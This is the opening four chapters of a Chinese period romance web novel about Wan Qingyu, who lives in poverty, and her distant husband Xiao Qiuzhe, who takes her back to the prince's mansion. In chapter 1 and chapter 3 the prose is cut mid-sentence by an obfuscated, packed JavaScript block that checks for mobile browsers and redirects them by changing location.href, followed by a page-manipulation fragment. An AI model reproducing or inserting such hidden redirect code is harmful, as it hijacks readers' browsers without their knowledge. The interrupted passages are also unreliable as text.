《折青欢》 1. 第 1 章 “青妤,经我多方调查,你父亲与兄长之死,确实与萧秋折脱不了干系。” “青妤,纵使你们是夫妻,你也不能不防,萧秋折正在扩大翰林院的势力,他动言书堂,就是想动你二哥。” “青妤,你病了半月有余,他连一次都未曾踏足探望。这样的夫君,你还留恋什么?” “青妤,不如你去与他和离,跟我走,我定会好好待你,绝不让你受半分委屈。” “青妤,我曾对你许下的诺言,此生不变。无论何时何地,只要你需要,我必会出现在你身边。” “青妤,你好生思量。” …… 二月初的清晨,寒意未散,山峦间云雾缭绕,似轻纱袅袅,随风飘散。山间小院门前,几株桃花树已悄然吐露花苞,雨露点缀,娇嫩欲滴。几场春雨过后,院中东侧的青菜儿冒出嫩芽,几株小野花争相绽放,芬芳四溢。 玉儿端着温水从西侧房间出来,抬头望了望天色,轻叹一声,转身进了东房。东房虽不大,却布置得温馨雅致,屋中花瓶里插着几株刚开放的迎春花,为这清冷的早晨添了几分生机。 “小姐。”玉儿甫一进屋便轻声唤道。她将水盆放在盆架上,走到窗前,轻轻推开一丝窗缝,让清新的空气透进来。 躺在床上的晚青妤微微动了动身子,目光投向窗外。晨光透过窗棂洒进屋内,映得整个房间明亮温暖,令人心头一松。她揉了揉发涨的太阳穴,无声地叹了口气。 近来,付钰书的话总在她脑海中萦绕不去,挥之难散。或许是在这山间住得太久,她已失去了对世俗的判断力。付钰书所言,真假难辨,她却忍不住反复思量。 付钰书口中的萧秋折,是她的夫君,亲王府的嫡长子,京城里赫赫有名的大人物,他才华横溢,容貌俊朗,手握重权,是亲王府的顶梁柱。 然而,他们成婚两年,见面的次数屈指可数。上次相见,已是半年前的事。如今,她甚至记不清他的五官,也想不起他这个人。若非前几日付钰书提起,她几乎忘了自己还有个夫君。 玉儿开好窗户,走到床边,瞧了瞧她的脸色,伸手探了探她的额头,忧心忡忡道:“又开始发烫了,这可如何是好?这都六七日了,怎么一直不见好转?” 晚青妤扶着玉儿的胳膊,缓缓起身,刚站定,便觉一阵眩晕,身子一晃,又跌坐回床上。她一张俏脸通红,眼皮低垂,毫无精神,嘴唇干裂,短短几日,竟将一个姿容秀美、红唇娇艳的美人熬成了这般憔悴模样。 玉儿轻抚着她的背,忍不住劝道:“小姐,实在不行,咱们回一趟晚府吧!如今连看病的银钱都没了,您不能再这样熬下去了。附近的邻居,咱们都借遍了,大家日子都不宽裕,玉儿也不好再开口了。今早我出门时,王婆婆见了我便躲,想是怕我再向她借银子。” 自上月起,亲王府便无缘无故断了她们的银钱。玉儿曾回京城一趟,想问问究竟,却连亲王府的大门都未能进去。 或许她们离开太久,门官已不识得玉儿,将她当作陌生人打发了。晚青妤虽是亲王府的夫人,但两年来,亲王府给的月银并不多,勉强够吃饭和买书,连添置新衣的银钱都没有。 晚青妤素来无欲无求,对吃穿用度不甚讲究,平日与玉儿种些瓜果蔬菜,倒也勉强维持生计。可一入冬,没了瓜果接济,银钱便捉襟见肘。如今她这一病,连抓药的银钱都没了着落。 玉儿每日愁眉不展,扒着那点银子精打细算,想着如何省下一碗鸡汤,如何为小姐添件新衣。可银子就那么点,再怎么算也不够用。 晚青妤这次病重,家中银钱耗尽,首饰当尽,连养的两只大鹅也卖了,却仍不够看病。不知是病重,还是大夫医术不精,药吃了不少,钱也花光了,病情却不见好转。 晚青妤曾给亲王府写信,请求补给些银钱,可信送出后,杳无音讯。这几日,她开始发烧咳嗽,连床都下不了。 玉儿急得眼含泪花,湿了毛巾为她擦脸,又劝道:“晚家如今虽有些难处,但小姐有难,家里人定不会不管。毕竟是娘家,总比亲王府亲近。小姐,不如让玉儿跑一趟晚府?” 晚青妤胸口闷得慌,口干舌燥,脑袋昏沉。她抓住玉儿的手,低声道:“玉儿,对不起,让你跟着我受苦了。我不是不想回晚家要银子,只是……如今二哥的言书堂被皇家查封,四弟又被赵家那老东西缠着不放,他们自身难保,我帮不上忙已是愧疚,怎能再添麻烦?” 自去年父亲与大哥外出办事惨遭杀害后,晚家便家道中落,祸事频发。如今言书堂出事,正值危难之际,她怎能再回去要银子? 晚青妤出身名门,父亲曾是位高权重的太保大人,大哥是中过状元的准驸马,二哥是翰林院侍读学士,一家人皆身居高位,享誉京城。 可祸不单行,父亲接连遭人陷害,前年与大哥外出时不幸遇害,至今凶手未明。 父亲与兄长的离世,给晚青妤带来了巨大的打击。半年来,她日夜担惊受怕,彻夜难眠。如今好不容易熬到春天,却又突然病倒,亲王府那边又不管不问,实在令人心寒。 玉儿知她为难,轻叹一声,不再多劝。她为晚青妤擦洗完,又为她梳了头发,扶她到屋门口呼吸新鲜空气。 玉儿去做早饭,晚青妤坐在椅上,望着远处的山峦,面色苍白,满眼忧愁。 父亲与兄长去世后,她一直在追查凶手。可她一介女子,又已出嫁,钱财与能力皆有限。这半年来,她东奔西走,只查到些许蛛丝马迹,反不如付钰书告诉她的多。 付钰书,那个与她一起长大的温润贵公子,外出游学两年归来,一跃成了京城里有名的探花郎。他出身书香世家,相貌俊朗,文采斐然,赋有风趣,又极会疼人。十四岁便在京城享有盛名,喜欢他的姑娘无数,可他心中只有晚青妤一人。 他什么都好,唯独性子执拗,曾因与父亲闹矛盾离家出走,一走便是两年。两年间,他虽多次回京,但每次停留短暂,与晚青妤也只是匆匆一见。 如今两年过去,物是人非。她已出嫁,他也变了模样,样貌更佳,气质更胜,性子也沉稳了许多。 他对她的关心,比以往更甚。他说,这次回来不再离开,也会帮她查出杀害她父亲与兄长的凶手。他说,希望他们能重头再来,他不在乎她已婚,也不在乎她的身份,只想做她今后的依靠。 他温和深情,令她心生感动,不禁想起年少时那段青涩的感情。 山间空气清新,吸一口气,满是青山绿叶的芬芳。晚青妤思绪万千,阳光渐浓时,一道白色身影出现在院门外。 她透过薄薄的日光望去,微微动了动身子,轻声唤道:“付钰书。” —— 今日京城天气不佳,一早便下起了淅淅沥沥的小雨,冬日的余寒未退,出门仍需披一件氅衣。 萧秋折穿戴整齐,出了卧房。备好马车的方齐迎上前来,恭敬道:“大人,去言书堂之前,需先赴太师府一趟。太师大人发现了一些可疑之处,需与您商议。昨夜绫月阁死了一人,似是顾家三郎。顾家人已第一时间赶到,将四周封闭, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000644|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息难以打探。事后,大人可要去瞧瞧?还有,江侧妃(注:江侧妃是男主父亲的妃子,男主父亲是亲王,男主只是亲王府嫡长子,不是王爷,且只有女主一妻)昨日向太妃请求,欲将兰风居收拾出来,留给三公子居住。另外……” 方齐不禁吸了口气,大人今日事务繁多,他只说了一半,便觉心疼。今日怕是连吃饭的时间都没有了。 萧秋折认真听着,每一件事都在心中细细斟酌。这种夙兴夜寐、旰食宵衣的生活,他早已习以为常。 方齐跟在一旁,继续道:“晚家那边,我今日会去盯着。幸亏晚青禾性子沉稳,未上那几人的当。只是赵家那老头子一直纠缠晚家四公子,有些棘手。这种事……我不好办,大人可有良策?” 提及晚家,萧秋折放慢了脚步,思忖片刻,淡淡道:“找人将那老头子弄出京城,等风波过去再放他回来。” 方齐应了一声,又问:“付钰书那边呢?还盯吗?” 付钰书? 萧秋折蓦地停住脚步,眉头微蹙,问道:“方于去小院了吗?” 方齐回道:“去了,我一大早就让他去了。” 萧秋折沉默片刻,掀开帘子上了马车。因事务繁多,他在路上还需批阅文书。马车颠簸,他执笔的手却稳如泰山。 他忙完一桩又一桩,到了傍晚才吃上饭。疲惫的身子还未舒展,皇上又召集群臣进宫议事。他不得已又进了皇宫,待从宫中回来,已是深夜。 他洗漱一番,简单用了些饭菜,回书房看了会儿书,准备休息时,雨势突然加大。狂风骤雨,屋内屋外皆透着寒意。 他问方齐:“方于回来了吗?” 方齐回道:“还未回。” 萧秋折听后,未再多言,转身上床休息。然而,他躺在床上,辗转难眠。半夜,方于回来,在门外犹豫是否进屋禀报,又恐打扰他休息。 萧秋折听到门外动静,唤道:“进来。” 方于进屋,行礼后问道:“大人,怎么还未睡?” 萧秋折翻身坐起:“不困,说。” 昏暗中,方于看不清他的神色,但能感觉到他一直在等自己。他尽量用叙述的语气道:“付钰书今日去了山间小院。” 萧秋折听后,没做声。 方于继续道:“一直……未出来。” 一直未出来? 萧秋折从床上起身,冷声问:“可知他们做了什么?” 方于看了他一眼,低声回道:“属下未看清,但是……” 他犹豫片刻。 “说。”萧秋折声音冰冷。 方于小心翼翼道:“但是……屋里的灯灭了。” 屋里的灯灭了? 话音落下,四周一片死寂。 方于直挺挺地站着,大气不敢出。 房间内静默良久,萧秋折下了床,边穿衣边道:“我过去一趟。” 方于惊道:“现在?大半夜,还下着雨。” 萧秋折未答,扯了一件氅衣,匆匆出了房间。 此时,雨越下越大,寒意逼人。他骑上快马,迎着寒风,冒着大雨,连夜赶到了山间小院。 院中昏暗,屋里的灯已熄灭。 萧秋折在门前站了片刻,抬手敲响了房门。 屋内一片寂静,无人回应。 他又敲了几下。 过了一会儿,房门“吱呀”一声打开,开门的是一脸愕然的晚青妤。 晚青妤望着他,呆立半晌,问道:“你……你怎么来了?” 2. 第 2 章 山间的深夜,寒意刺骨,深谷幽暗,风雨凄凄。屋檐上滚落的雨水,滴滴答答,打破了夜的静谧,落在萧秋折的发梢上,凝结成串串水珠。 两人愕然僵立于门前,晚青妤一时恍惚,竟忘了请他进屋。 萧秋折身姿挺拔,面容冷峻,目光深邃地望着她,心中暗自思量,已有多久未见这位名义上的妻子?三月?五月?抑或是更久? 未待晚青妤开口,他便大步踏入屋内。屋内布置虽简,却异常整洁,墙上挂着雅致的字画,桌案与茶几上亦点缀着娇艳的花朵,生机勃勃。 正趴在床边熟睡的玉儿被动静惊醒,猛然起身,见屋内多了一人,顿时惊慌失措。这几日她日夜照料晚青妤,疲惫不堪,竟不知不觉睡去,孰料一睁眼,竟见一男子立于房中。 玉儿吓得连忙跑到门前,紧紧握住晚青妤的手。晚青妤轻轻拍了拍她的手背,示意她不必惊慌。 萧秋折环视一圈,未见他人,眉头微蹙,目光冷冷扫过玉儿。晚青妤会意,轻声道:“玉儿,你先去歇息。” 玉儿揉了揉惺忪的睡眼,看清来人是萧秋折,心中虽忐忑,却也不敢多言,只得退下。 晚青妤关上房门,虚弱地咳嗽了几声,对浑身湿透的萧秋折道:“萧大人,寒舍简陋,您随意坐。” 说罢,她走到桌前,拨了拨即将燃尽的蜡烛。这是家中仅剩的一小截蜡烛,这两夜她都不敢点燃,生怕急用时无光可照。如今急事突至,幸得还留了些许。 烛光摇曳,灯芯发出噼啪声响,晚青妤紧盯着那微弱的光芒,生怕它骤然熄灭。 萧秋折倚在一旁的木架上,未上前一步。房中一时静默,晚青妤心中思忖着他突然造访的缘由。距离上次相见已过大半年,期间二人连书信都未曾互通,如今他突然现身,着实令人意外,这绝非他一贯的行事风格。 烛光下,晚青妤抬眸望向他。或许因衣衫湿透,他站得略显拘谨,身躯挺拔如松,气质如玉,在这低矮的屋檐下更显高大。即便只是静立,那股无形的压迫感依旧扑面而来。 他自幼天赋异禀,文武双全,十四岁便高中状元,二十岁官至少师,如今二十四岁,已是三省六部中举足轻重的人物。加之他出身皇家血脉,放眼整个京城,能与他比肩者,寥寥无几。 萧秋折之名,无人不知,无人不晓。他行事雷厉风行,果决狠厉,再棘手之事,只要他出手,无不迎刃而解。这样一个立于权力巅峰的男子,天生自带帝王之气,即便只是一个淡淡的眼神,也足以令人心生敬畏。 过了许久,晚青妤因紧张,不敢再直视他,目光始终落在摇曳的烛光上。她病重多日,面色苍白如纸,虚弱得不成人形。 萧秋折并无太多耐心,眉头微蹙,借着微弱的烛光,看清了她憔悴的面容。沉默片刻,他冷声道:“近日,京城有些流言蜚语。” 晚青妤抬眸对上他那幽深如潭的目光。 他甩了甩湿透的衣袖,继续道:“传言你我要和离。” 和离? 晚青妤一时未解其意,轻声道:“离我们约定和离的时间,不是还早吗?大约……” 她算了算,“大约还有八个月。” 当初成婚时,契约书上写明,成婚满三年方可和离。如今两年已过,离和离之期已不远。 萧秋折凝视着她,神色难辨。 晚青妤方才开门时受了风寒,喉咙发痒,咳嗽不止。 萧秋折听着她一连串的咳嗽声,眉头越皱越紧,眼神愈发复杂。 晚青妤咳了好一阵,实在支撑不住,摸了摸滚烫的脸颊,低声道:“你若想提前和离,我无异议。你写好和离书,告知我便是。” 和离? 他深夜冒雨前来,难道只为听她说和离? 他未发一言。 晚青妤见他沉默,缓缓起身,走到床边躺下,轻声道:“我这里没有男子的衣衫,你去找玉儿,让她生火为你烤干衣裳。” 他的衣衫早已湿透,浑身冰凉,想必极不舒适。 萧秋折依旧笔挺地站着,见她咳嗽不止,他冷声问道:“病了多久?” “好几日了。” “为何不去看大夫?” “没有银子。” 没有银子?亲王府每月都会送来一百两银子,她除了吃穿,别无他用,怎会无钱治病? 晚青妤见他沉默,无声苦笑。想必连他自己都忘了还有一位妻子吧,否则怎会连月钱之事都记不清? 她难受得厉害,勉强开口道:“一月前,亲王府断了我的月钱。我不好回娘家讨要,付大人得知我病了,送来些银子。明日我会去找个好大夫看看。” 付大人?付钰书。 她的青梅竹马,如今风靡京城的探花郎,皇上眼中的国之栋梁,官宦世家眼中的佳婿。 晚青妤言罢,房中一片死寂。 她抬眸望向他,昏暗中看不清他的神色。 桌上的蜡烛即将燃尽。 他来了不过说了几句话,晚青妤实在不明白他深夜冒雨前来的目的。 她已无力招待他,闭上眼准备入睡。 萧秋折见此,无声叹息,他立于权力巅峰,众人见了他无不恭敬行礼,而她却总是冷眼相待,不行礼,不问好,不是直呼其名,便是冷淡以对。如今,她竟连坐都不让他坐,直接躺下睡了。 桌上的蜡烛再次发出噼啪声响。 晚青妤瞥了一眼,有气无力地道:“家中已无蜡烛,烛光将灭,趁还有光亮,你有话快说,若无话,请自便吧。” 自便,便是让他自行离去。 萧秋折浑身湿透,本就极不舒适,此刻一股无名怒火在胸中蔓延。 他蹙眉看向她,眉眼间满是复杂与凛然,一字一顿道:“晚青妤,你须清楚,我才是与你拜过堂的正室夫君。” “你有难……” “你宁愿找他,也不愿找我?” 他?晚青妤一愣。 他指的付钰书? 她未答话。 她不是找过他吗?亲王府进不去,书信也无回音,二哥的言书堂被查封,他也牵涉其中,她还能如何找他? 本就是利益结合的婚姻,她还不至于糊涂到和离时还欠他一屁股债。 萧秋折见她沉默,冷笑一声,大步走到床边,一把将她打横抱起,冷冷丢下一句:“随我回京,亲王府的银子随你花。谁敢阻拦,格杀勿论。” 他动作突然,晚青妤一时未反应过来,胸口一疼,开始咳嗽不止。 他抱着她走到门前,推开房门,一阵凉风夹杂着雨水扑面而来,吹得晚青妤连忙埋首躲避。屋内的烛光也被风吹灭。 萧秋折驻足于门扉之前,望着那漫天倾泻的大雨,眸光渐沉,心绪亦随之纷扰。终是无奈转身,复将她安置于床榻之上。 晚青妤本就体弱,被这冷 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晚青妤心中茫然,他只言要带她回京,却未曾细说。回京便意味着重返亲王府,自婚后她便携玉儿搬出,已逾两载,眼看就要熬到和离之时,她又怎愿归去?那豪门大院,一旦踏入,便难再出。 稍事歇息后,晚青妤缓缓道:“玉儿莫急,我尚能支撑,你去为我取些水来。” 玉儿叹息着去取了水,晚青妤饮后稍感舒适。待玉儿再出门取温水时,却发现萧秋折已不在院内,不知去向何方。 玉儿取了温水归来,为晚青妤擦拭着滚烫的脸颊,愁容满面,不住叹息。一番照料后,晚青妤气色稍好,只是头脑仍觉昏沉,困意难挡。 玉儿轻拍着她的背,柔声安慰:“小姐且先睡会儿吧,如今已不烫了,或许睡一觉醒来便好了。” 晚青妤应了一声,对玉儿道:“你也去歇息吧,我很快就睡。” 玉儿帮她掖好被角:“等你睡了我再去。” 晚青妤阖上眼帘,握着玉儿的手,很快便睡着了。 大雨淅沥了一夜,直至次日清晨方歇。雨后的山林更显清新,凉意袭人。院中青菜被雨水淹没,野花亦被摧残。 晚青妤醒来时已是巳时,身上已不再发热,头脑亦变得清醒。她望向门前,却被一道挺拔的身影挡住了视线。 立于床边的萧秋折闻听动静转过身来,低眸望向她,神色复杂难辨。晚青妤亦抬眸望向他,心中疑惑,他竟还未离去。 此时,玉儿端着汤药走进屋内,笑道:“小姐,快喝药吧。这位大夫医术高超,昨晚只在你虎口处扎了一针便退了热,还开了几副药,说是按时服用,不出几日便能痊愈。” “这大夫是从何而来?”晚青妤问。 玉儿上前扶她起身,将药递给她,看了一眼萧秋折,笑说:“是姑爷去隔壁镇子请来的。” 隔壁镇子?那般远,他竟是昨晚冒雨前去的? 晚青妤望向他,见他已换下湿衣,身着粗布麻衣,虽略显不合身,却难掩其矜贵之气。 玉儿喂她饮完药后离去。萧秋折依旧立于床前。 晚青妤坐起身来,一时之间亦不知该说些什么,半晌方道:“多谢你为我请大夫。” 她抬头望向他,晨光透过窗棂洒在他的肩头,灼灼日光之下,想起了起当初嫁给他时的情景。 也想起了十二岁那年,她狼狈地倒在他面前的样子。 3. 第 3 章 那年,她十二岁,他十七岁。 她犹是情窦初绽的少女。他已是京城中声名显赫的状元郎。 他天赋异禀,十四岁便摘得状元桂冠,随后的三年里,他屡建奇功,振兴奕国,更亲手设计了横跨大江、闻名遐迩的安平桥。此桥不仅便利了交通,更促进了大江两岸的商贸往来,极大地改善了百姓的生活。 他的这一壮举在奕国引起了巨大轰动,大江沿岸的百姓对他感激不尽,甚至在桥头立起他的石像,以供祭拜。 如此非凡的男子,世间罕见,上天不仅赐予他尊贵的身份和过人的才智,还赋予了他一副令全京城女子为之倾倒的俊美容颜。 晚青妤与他的初次相遇,是在皇宫的一场盛宴之上。她随母亲入宫赴宴,刚到城门口,便见众多官家小姐簇拥一处。她好奇上前询问,得知众人皆在等待萧秋折的到来,希望能与他有片刻交谈。 优秀的人受人爱慕本是常理,晚青妤虽闻其名,却未曾谋面,心中亦想一睹其风采。 待萧秋折的马车抵达,众女纷纷上前,晚青妤因年幼且身材娇小,被挤在人后,踮足仰望,却仍未能见其一面。 正当她努力向前挤去时,前方小姐身子一侧,她重心不稳,倏然摔倒在地。 而后周围顿时一片哗然。 一双不染尘埃的白色鞋履映入眼帘。她顺着绣着紫藤的白衣向上望去,终是看清了萧秋折超凡脱俗的容貌。他的眼睫浓密如扇,双眸深邃如墨玉,身姿挺拔,气质高洁,当真风骨难拓。 他低头望向她,轻轻俯身将她扶起,声音清澈悦耳,关切地问道:“摔疼了吗?” 她一时呆愣,摇了摇头,又点了点头。 他见状,嘴角微扬,轻笑声中递给她一枚金叶子:“去检查检查有没有受伤。” 她接过金叶子,乖巧地应了一声。 他未再多言,穿过人群离去。 她手中握着金叶子,在原地伫立良久。那时她尚不懂何为情愫,只觉心跳如鼓,难以平复。 回府后,她鼓起勇气给他写了一封信,表达了自己的倾慕之情。 而他并未回信。 她又写了一封,他仍旧未回。 她如同中了魔怔,短短半个月内,竟给他写了十几封信,还将他的一切事迹和喜好都打听了个遍。 少女春心萌动,如春日里的野草,遇风疯长。悸动、激动、思念、渴望……种种情绪交织在一起,让她难以自持。 然而,他却如天上的皎月。 她给他写信的事情被父亲发现,父亲羞愧难当,罚她抄了三天的诗经,还请了先生和嬷嬷将她关在家中学习礼仪。也不准她再提及萧秋折。 转眼一年过去,随着新鲜事物的涌现和年龄的增长,她渐渐将萧秋折遗忘。 后来,她喜欢上了别人。 多年以后,当她心中只有那个与她一同长大的竹马时,萧秋折却又突然出现在她的面前,甚至毫无征兆地跑到她府上求亲。 他直言需借两府联姻之力,以稳其朝中根基,并许下诺言,誓要解救身陷囹圄的太保府于水火之中。 彼时,她的父亲遭奸佞构陷,太保府遭皇家封禁,几位恶官穷追不舍,欲置他们于死地。 萧秋折的出现,给他们带来了一线生机。 她并非矫情之辈,深知官场险恶,于是毅然答应了这门亲事。 萧秋折是个正人君子,言出必行。他们成婚以后,他并未轻薄于她,也未为难过她,还帮助太保府度过了难关。 如今,再抬头望着他,心中涌起一股与初见时相似的感觉。 但她知道,他犹如那安平桥上的石像,只可仰望,不可触及。 春风拂过,暖意袭人,今日的天气尤为宜人。 萧秋折见她直直凝视自己,眼睫轻颤一下,移开了视线,开口声音清冷:“马车已备妥,你今日随我回京。” 回京? 如此说他昨日之言,并非戏谑。 晚青妤服过汤药,精神稍振,起身下床,立于他面前,仰头望他。他身形伟岸,而她娇小柔弱,难以窥其神色。她退了一步,继续凝望,轻声回道:“我不能随你回去。” 此地生活安逸,她不愿再涉京城纷扰。 萧秋折闻此,神色微变。 她行至桌前,斟了两盏茶,递其一盏于他,轻声道:“我不随你回去,自有缘由。其一,你我婚期将满,和离在即,我无须再回亲王府。我离家已逾两载,世事更迭,想必众人皆已淡忘了我们的婚事,亦不再忆及我的存在。我若继续隐匿形迹,待到和离之后,也不会影响你我再觅良缘。其二,我于此地久居,早已忘却大家族的繁文缛节。亲王府乃皇室宗亲,我怕会给你添乱。” 她并非贪慕富贵之人,心中所求,自是明了。亲王府,非她所愿。 她将缘由说得清楚明白,而萧秋折,却只闻得那句“再觅良缘”。 所以,她拒绝随他回去,竟是打算再嫁? 嫁给谁? 嫁给付钰书? 房间狭小,萧秋折挡住门外光线,无形之中透出一股威严之感。 晚青妤不敢直视,倚于桌前,轻啜了一口茶。她虽与他接触不多,但她深知,如他这般有能力之人,鲜少被拒。如今被她拒绝,他心中定是不悦。 房间沉寂良久,萧秋折审视着她淡漠的神色,忽觉此行自取其辱。 他做事向来清醒,很少遇到这种情况。也很清楚自己是个强势之人,凡事开了头就必须办好才肯罢休。 所以,来都来了,不能空手而归。 他略作思索,声音清冷中带着几分沉稳:“我带你回去,是想请你相助。” 当初成婚,不过利益交换,双方皆是聪明人。能维系这段关系的,唯有利益。 晚青妤望着他,他位高权重,竟需她一介女流相助? 他声音清冷,七分叙述,三分恳求。言罢,身躯笔挺,神色淡然,仿佛早已知晓答案。 这便是上位者的自信。 晚青妤放下杯盏,问道:“萧大人亲自前来,只为让我这小女子相助?说来听听,是何等难事,竟难倒了萧大人?” 她未急于拒绝,心中好奇他遇到了什么麻烦。 萧秋折拉开一旁椅子坐下,清声道:“亲王府中,出了些许纰漏。这一年多来,库中银两莫名减少。我多次核对账簿,皆是不符,应是有人暗中动过手脚。如今亲王府事务,皆由我掌管,但朝堂之事繁忙,我分身乏术。加之身边无可信任之人,我恐时日一长,会出大乱。所以,我想请你回亲王府,帮我管理账务。” 帮他管理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000646|161760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲王府账务?岂是常人可为? 晚青妤指了指自己:“让我?” 他的意思是,她是他信任之人? 晚青妤眸中闪过难以置信。她细细打量着他,每当他认真言事之时,那双瞳仁便如墨玉般深邃,凝视人时更有一股不容忽视的气势。 她见他颔首,更为疑惑,心中暗自盘算,此事对她并无半分益处,若是办砸了,后果不堪设想。更何况,她若是以他妻子的身份重返亲王府,再想抽身可就难了,除非他能信守承诺,和离之期一到便放她自由。 一番思索后,她终是摇了摇头,拒绝道:“实在抱歉,让萧大人白跑一趟了。” 她自知并无十足的把握将此事处理妥当。 她再次拒绝,他的眸色愈发深沉。 自他们成婚以来,相聚的日子寥寥无几,唯一留有印象的,便是洞房花烛之夜,因着礼节所需,两人勉强牵了回手。 她总是一口一个“萧大人”,自成婚之日起便是如此称呼,听起来那般疏离。 晚青妤,这个比他小了五岁的女子,自相识至今,非但未曾给予他应有的尊重,态度亦是冷漠疏离。 当初是她主动写信,又突然消失,还因为青梅竹马的不辞而别伤心了大半年。最后,在他上门提亲之时,她更是仰着小脸,直言不讳地说:“萧秋折,我心中已有旁人,我答应嫁给你,只是为了救晚府,并无丝毫私人情愫。” 无需她提醒,他也知晓她心中有人。 然而,那又如何?他们不过是各取所需,她终究还是嫁给了他。 拜堂之后,他便立下了三年和离的契约,将她送往山上生活。转眼间,两年已过,这两年里,他们见面的次数屈指可数,且每次都只是匆匆一瞥,无言以对。 她是个聪慧的女子,自幼饱读诗书,对数字尤为敏感。未出嫁前,晚府的账簿皆由她打理,各项开销细节她都铭记于心。据她父亲所言,在她管理之下,府上开销大减,且连续多年未曾出错。 如此有才能的女子,在京城中实属罕见。从这一点上看,萧秋折对她颇为欣赏。 晚青妤见他沉默不语,又补充道:“我在这里住得太久,脑子已不如往昔灵光。亲王府乃大家族,让我去管账,萧大人真是抬举我了。” 她这病一好,脾气倒是见长了。 他早知如此,昨晚便不该冒雨为她请来大夫。 “所以……”他心情不好时,周身便散发出一种冰冷的气质,他站直了身子,望着被他罩在身影下的她,言语间眉眼含霜,“你在等付钰书?” 她能说出“另觅良缘”四字,定是心中已有计较。 房间内一片死寂。 晚青妤没有回答,只是回想起昨日付钰书与她的对话,微微侧头避开了他的目光。 他们都是要和离的人了,他还问这些做什么?她既不欠他钱财,也不欠他情分,何必提及付钰书? 萧秋折见她躲闪,冷笑一声,在寂静的房间里显得格外突兀。 他没有时间和精力在此处消磨,京城中还有一大堆事务等着他处理。 “晚青妤。” 他收敛思绪,低眸看她,想与她做个交易。 “你随我回京城,助我打理好亲王府,我来替你报仇雪恨。” “如何?” 4. 第 4 章 萧秋折此言一出,房中顿时陷入一片静默。晚青妤抬眸望他,见他神色肃然,目光坚定,显然并非玩笑之语。 她父亲与兄长的死,如一团迷雾,任凭皇家与二哥如何追查,始终未能揪出真凶。朝中重臣与准驸马离奇被害,乃是惊天动地的大事,当年轰动京城,堪称奕国近年来最为重大的案件。 晚家世代为官,清正廉洁,从未树敌。父亲与兄长一向谨慎,出行皆有护卫随行,却在一次寻常公务中双双殒命,显然是有人蓄谋已久。此事蹊跷至极,令人百思不得其解。 那日付钰书曾言,此事与萧秋折有所牵连。晚青妤心中疑惑,萧秋折虽冷酷无情,却也不至于陷害自己的岳父与大舅子。然而,付钰书言之凿凿,似有凭据,不似信口胡诌。 此事扑朔迷离,令人难以捉摸。 她一双杏眼清澈如泉,望向他时带着几分疑惑与防备,心中思绪翻涌,一时难以决断。 萧秋折阅人无数,一眼便看穿她的心思,道:“你放心,我们公事公办,绝不掺杂私人感情。我昨日所言,不过是提醒你,乱世之中,莫要轻信他人花言巧语。” 他人花言巧语? 谁?付钰书? 他这是在为昨夜那句“我才是与你拜过堂的正室夫君”找补。 晚青妤并不意外,毕竟以萧秋折的性子,昨夜说出那般话,着实有些反常。 她微微蹙眉,娇俏的面容因气色恢复而显得粉面桃腮,清灵秀美。一双唇瓣如浸过水般红润,更添几分娇艳。 萧秋折垂眸看她,二人目光相接,晚青妤见他神色凛然,确实并无意掺杂私人感情。 他一心扑在权位之上,怎会分出精力处理儿女情长? 她思索良久,迟迟未给出答复。 萧秋折逐渐失去耐心,向前一步,低眸凝视着她,说:“你我既有夫妻之名,你入亲王府,我自会护你周全,你不必忧心日后过得不甚如意。” 话已至此,她应当不会再拒绝了吧? 晚青妤素来行事果决,今日却难得优柔寡断。她顾虑颇多,甚至想到若与萧秋折和离,或许还能与付钰书再续前缘。她并非圣贤,和离以后总归要寻个情投意合之人共度余生。 若入了亲王府,行动难免受限。虽离和离之期不远,但夜长梦多,恐生变故。 更何况,她回去以后,是否要与他同吃同住? “我回去,住何处?”她最在意此事。 萧秋折重新坐下,神色不似方才那般凛然,轻声道:“当初我们的婚房设在兰风居,你若愿意,我们便搬回去。” 这两年,兰风居一直空置。 “关系呢?” 他们在亲王府中,该以何种关系相处?琴瑟和鸣的夫妻?怕是演不出来。 萧秋折神色缓和时,眉眼依旧如少年般温润,青隽的面容更显魅力。他肤白如玉,衣着一丝不苟,即便穿着粗布麻衣,依旧难掩矜贵之气。 两年过去,他的容颜与气质虽不似十七岁时那般温和,但那无可替代的样貌与强大的气场,依旧令人心动。 他的嗓音清透,极其好听,严肃时还略带沉稳。 老天爷对他着实偏爱,几乎将所有优点都赋予了他,而他又将这些优点掌控得恰到好处。 那种亦正亦邪的魅力,最是挠人心弦。 他聪慧过人,自然明白她的意思,淡然回道:“回去后,你住主房,我睡偏房。” 晚青妤心中微动,却仍吊着他,不肯立即答复。 萧秋折猜测她还有别的条件。 这时,玉儿前来唤他们用饭。 这些日子,主仆二人穷得连饭都吃不饱。今早玉儿还了邻里银钱,又买了些滋补之物。用的并非付钰书给的银子,而是萧秋折塞给她的一把银票。他语气霸道,不容拒绝地说:“把那人的银子送人,花我的。” 玉儿只得将付钰书给的银子分给邻里。 晚青妤早已饥肠辘辘,净手后坐下,先喝了一大碗鸡汤,又吃了些菜。多日来口中苦涩,今日总算尝到了滋味。 鸡汤香浓可口,喝下去浑身舒畅。 她自顾自地吃着,全然不顾一旁略显别扭的萧秋折。 玉儿看看这个,又看看那个,心中激动不已。姑爷要带她们回京,总算不用再过这种苦日子了。虽此处与世无争,但每日无所事事,还要为衣食发愁,着实难熬。 小姐毕竟是萧秋折明媒正娶的妻子,回到亲王府,日子总归会好过些。 